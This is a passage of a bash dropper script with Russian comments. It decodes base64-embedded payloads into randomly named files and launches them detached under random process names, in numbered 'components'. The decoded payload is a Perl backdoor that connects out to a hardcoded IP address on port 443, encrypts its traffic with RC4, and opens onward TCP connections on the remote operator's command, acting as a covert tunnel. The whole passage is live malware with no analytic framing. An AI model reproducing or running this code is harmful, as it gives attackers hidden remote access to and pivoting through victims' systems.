IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #24 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #24 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 25 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g 